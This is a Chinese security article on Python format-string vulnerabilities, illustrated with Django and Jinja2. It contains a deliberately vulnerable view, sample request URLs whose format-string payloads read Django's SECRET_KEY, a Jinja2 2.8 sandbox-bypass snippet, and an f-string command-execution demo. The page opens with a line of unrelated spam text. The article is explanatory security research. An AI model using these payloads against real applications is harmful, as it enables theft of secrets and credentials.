自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Python 格式化字符串漏洞(Django為例)

安全 漏洞
在C語言里有一類特別有趣的漏洞,格式化字符串漏洞。輕則破壞內(nèi)存,重則讀寫任意地址內(nèi)容,下面我們就以Django為例,講解Python 格式化字符串漏洞。

在C語言里有一類特別有趣的漏洞,格式化字符串漏洞。輕則破壞內(nèi)存,重則讀寫任意地址內(nèi)容。

Python

Python中的格式化字符串

Python中也有格式化字符串的方法,在Python2老版本中使用如下方法格式化字符串:

  1. "My name is %s" % ('phithon', ) 
  2. "My name is %(name)%" % {'name':'phithon'} 

后面為字符串對象增加了format方法,改進(jìn)后的格式化字符串用法為:

  1. "My name is {}".format('phithon') 
  2. "My name is {name}".format(name='phithon'

很多人一直認(rèn)為前后兩者的差別,僅僅是換了一個(gè)寫法而已,但實(shí)際上format方法已經(jīng)包羅萬象了。文檔在此: https://docs.python.org/3.6/library/string.html#formatstrings

舉一些例子吧:

  1. "{username}".format(username='phithon') # 普通用法 
  2. "{username!r}".format(username='phithon') # 等同于 repr(username) 
  3. "{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678,保留兩位小數(shù) 
  4. "int: {0:d};  hex: {0:#x};  oct: {0:#o};  bin: {0:#b}".format(42) # 轉(zhuǎn)換進(jìn)制 
  5. "{user.username}".format(user=request.username) # 獲取對象屬性 
  6. "{arr[2]}".format(arr=[0,1,2,3,4]) # 獲取數(shù)組鍵值 

上述用法在Python2.7和Python3均可行,所以可以說是一個(gè)通用用法。

格式化字符串導(dǎo)致的敏感信息泄露漏洞

那么,如果格式化字符串被控制,會(huì)發(fā)送什么事情?

我的思路是這樣,首先我們暫時(shí)無法通過格式化字符串來執(zhí)行代碼,但我們可以利用格式化字符串中的“獲取對象屬性”、“獲取數(shù)組數(shù)值”等方法來尋找、取得一些敏感信息。

以Django為例,如下的view:

  1. def view(request, *args, **kwargs): 
  2.     template = 'Hello {user}, This is your email: ' + request.GET.get('email') 
  3.     return HttpResponse(template.format(user=request.user)) 

原意為顯示登陸用戶傳入的email地址:

格式化字符串導(dǎo)致的敏感信息泄露漏洞

但因?yàn)槲覀兛刂屏烁袷交址囊徊糠?,將?huì)導(dǎo)致一些意料之外的問題。最簡單的,比如:

格式化字符串導(dǎo)致的敏感信息泄露漏洞

輸出了當(dāng)前已登陸用戶哈希過的密碼??匆幌聻槭裁磿?huì)出現(xiàn)這樣的問題:user是當(dāng)前上下文中僅有的一個(gè)變量,也就是format函數(shù)傳入的user=request.user,Django中request.user是當(dāng)前用戶對象,這個(gè)對象包含一個(gè)屬性password,也就是該用戶的密碼。

所以,{user.password}實(shí)際上就是輸出了request.user.password。

如果改動(dòng)一下view:

  1. def view(request, *args, **kwargs): 
  2.     user = get_object_or_404(User, pk=request.GET.get('uid')) 
  3.     template = 'This is {user}\'s email: ' + request.GET.get('email') 
  4.     return HttpResponse(template.format(useruser=user)) 

將導(dǎo)致一個(gè)任意用戶密碼泄露的漏洞:

導(dǎo)致一個(gè)任意用戶密碼泄露的漏洞

利用格式化字符串漏洞泄露Django配置信息

上述任意密碼泄露的案例可能過于理想了,我們還是用最先的那個(gè)案例:

  1. def view(request, *args, **kwargs): 
  2.     template = 'Hello {user}, This is your email: ' + request.GET.get('email') 
  3.     return HttpResponse(template.format(user=request.user)) 

我能夠獲取到的變量只有request.user,這種情況下怎么利用呢?

Django是一個(gè)龐大的框架,其數(shù)據(jù)庫關(guān)系錯(cuò)綜復(fù)雜,我們其實(shí)是可以通過屬性之間的關(guān)系去一點(diǎn)點(diǎn)挖掘敏感信息。但Django僅僅是一個(gè)框架,在沒有目標(biāo)源碼的情況下很難去挖掘信息,所以我的思路就是:去挖掘Django自帶的應(yīng)用中的一些路徑,最終讀取到Django的配置項(xiàng)。

經(jīng)過翻找,我發(fā)現(xiàn)Django自帶的應(yīng)用“admin”(也就是Django自帶的后臺)的models.py中導(dǎo)入了當(dāng)前網(wǎng)站的配置文件:

Django自帶的應(yīng)用“admin”

所以,思路就很明確了:我們只需要通過某種方式,找到Django默認(rèn)應(yīng)用admin的model,再通過這個(gè)model獲取settings對象,進(jìn)而獲取數(shù)據(jù)庫賬號密碼、Web加密密鑰等信息。

我隨便列出兩個(gè),還有幾個(gè)更有意思的我暫時(shí)不說:

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Django自帶的應(yīng)用“admin”

Jinja 2.8.1 模板沙盒繞過

字符串格式化漏洞造成了一個(gè)實(shí)際的案例——Jinja模板的沙盒繞過( https://www.palletsprojects.com/blog/jinja-281-released/)

Jinja2是一個(gè)在Python web框架中使用廣泛的模板引擎,可以直接被被Flask/Django等框架引用。Jinja2在防御SSTI(模板注入漏洞)時(shí)引入了沙盒機(jī)制,也就是說即使模板引擎被用戶所控制,其也無法繞過沙盒執(zhí)行代碼或者獲取敏感信息。

但由于format帶來的字符串格式化漏洞,導(dǎo)致在Jinja2.8.1以前的沙盒可以被繞過,進(jìn)而讀取到配置文件等敏感信息。

大家可以使用pip安裝Jinja2.8:

  1. pip install  
  2. https://github.com/pallets/jinja/archive/2.8.zip 

并嘗試使用Jinja2的沙盒來執(zhí)行format字符串格式化漏洞代碼:

  1. >>> from jinja2.sandbox import SandboxedEnvironment 
  2. >>> env = SandboxedEnvironment() 
  3. >>> class User(object): 
  4. ...  def __init__(self, name): 
  5. ...   self.name = name 
  6. ... 
  7. >>> t = env.from_string( 
  8. ...  '{{ "{0.__class__.__init__.__globals__}".format(user) }}') 
  9. >>> t.render(user=User('joe')) 

成功讀取到當(dāng)前環(huán)境所有變量__globals__,如果當(dāng)前環(huán)境導(dǎo)入了settings或其他敏感配置項(xiàng),將導(dǎo)致信息泄露漏洞:

當(dāng)前環(huán)境導(dǎo)入了settings或其他敏感配置項(xiàng)

相比之下,Jinja2.8.1修復(fù)了該漏洞,則會(huì)拋出一個(gè)SecurityError異常:

Jinja2.8.1修復(fù)了該漏洞

f修飾符與任意代碼執(zhí)行

在PEP 498中引入了新的字符串類型修飾符:f或F,用f修飾的字符串將可以執(zhí)行代碼。文檔在此 https://www.python.org/dev/peps/pep-0498/

用docker體驗(yàn)一下:

  1. docker pull python:3.6.0-slim 
  2. docker run -it --rm --name py3.6 python:3.6.0-slim bash 
  3. pip install ipython 
  4. ipython 
  5. # 或者不用ipython 
  6. python -c "f'''{__import__('os').system('id')}'''" 

可見,這種代碼執(zhí)行方法和PHP中的很類似,這是Python中很少有的幾個(gè)能夠直接將字符串轉(zhuǎn)變成的代碼的方式之一,這將導(dǎo)致很多“舶來”漏洞。

舉個(gè)栗子吧,有些開發(fā)者喜歡用eval的方法來解析json:

用eval的方法來解析json

在有了f字符串后,即使我們不閉合雙引號,也能插入任意代碼了:

不過實(shí)際利用中并不會(huì)這么簡單,關(guān)鍵問題還在于:Python并沒有提供一個(gè)方法,將普通字符串轉(zhuǎn)換成f字符串。

但從上圖中的eval,到Python模板中的SSTI,有了這個(gè)新方法,可能都將有一些突破吧,這個(gè)留給大家分析了。

另外,PEP 498在Python3.6中才被實(shí)現(xiàn),在現(xiàn)在看來還不算普及,但我相信之后會(huì)有一些由于該特性造成的實(shí)際漏洞案例。

責(zé)任編輯:趙寧寧 來源: 安全客
相關(guān)推薦

2021-06-09 07:55:18

Python格式化字符串

2024-12-09 08:10:00

Python字符串格式化

2020-06-28 08:26:41

Python開發(fā)工具

2022-05-09 14:04:27

Python字符串格式化輸出

2017-01-17 15:47:18

2024-03-06 08:41:14

Python字符串格式化工具

2009-09-02 15:56:49

C#格式化字符串

2022-03-28 10:56:11

Python字符串格式化

2010-02-01 16:46:07

C++格式化字符串

2009-09-03 18:05:04

ASP.NET字符串格

2009-09-03 18:45:06

GridView格式化

2016-10-17 09:07:11

漏洞字符串EIP劫持

2024-05-27 00:10:00

2009-11-26 18:36:52

PHP函數(shù)sprint

2024-02-22 09:46:04

C++字符串格式化開發(fā)

2024-02-26 08:00:00

Pythonformat()字符串

2024-03-28 10:17:03

JDK 17字符串十六進(jìn)制

2024-05-09 08:28:10

Python字符串百分號格式化

2010-03-22 18:53:53

Python格式化字符

2024-09-05 16:02:52

Python數(shù)據(jù)類型字符串
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號